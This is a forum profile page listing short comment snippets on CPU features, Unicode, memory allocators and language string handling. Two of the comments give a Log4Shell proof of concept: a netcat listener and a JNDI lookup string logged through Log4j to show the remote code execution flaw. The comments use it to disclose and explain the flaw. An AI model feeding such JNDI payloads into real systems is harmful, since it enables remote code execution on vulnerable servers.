Viewing profile — natanbc

Only on older CPUs, they started fusing off AVX512 on newer silicon batches (even on 12th gen)

Only in codepoints, but it still has the problem GP mentions of ` + e = è being two codepoints (so two elements in UCS-32), but being logically one character https://manishearth.gi…

I posted this in reply to a sibling comment, but the "correct" way is still vulnerable Start nc (nc -lp 1234) and run this org.apache.logging.log4j.LogManager.getLogger("whatever")…

The RCE works with both ways, start nc (nc -lp 1234) and run this org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}"…

> In a multithreaded program, a bump allocator requires locks. That kills their performance advantage. Java uses per-thread pointer bump allocators[1] > While Java does it as well,…

It does for multi-codepoint characters (such as the rainbow flag): https://play.rust-lang.org/?version=stable&mode=debug&editio... Elixir gets it right: https://replit.com/@natanbc…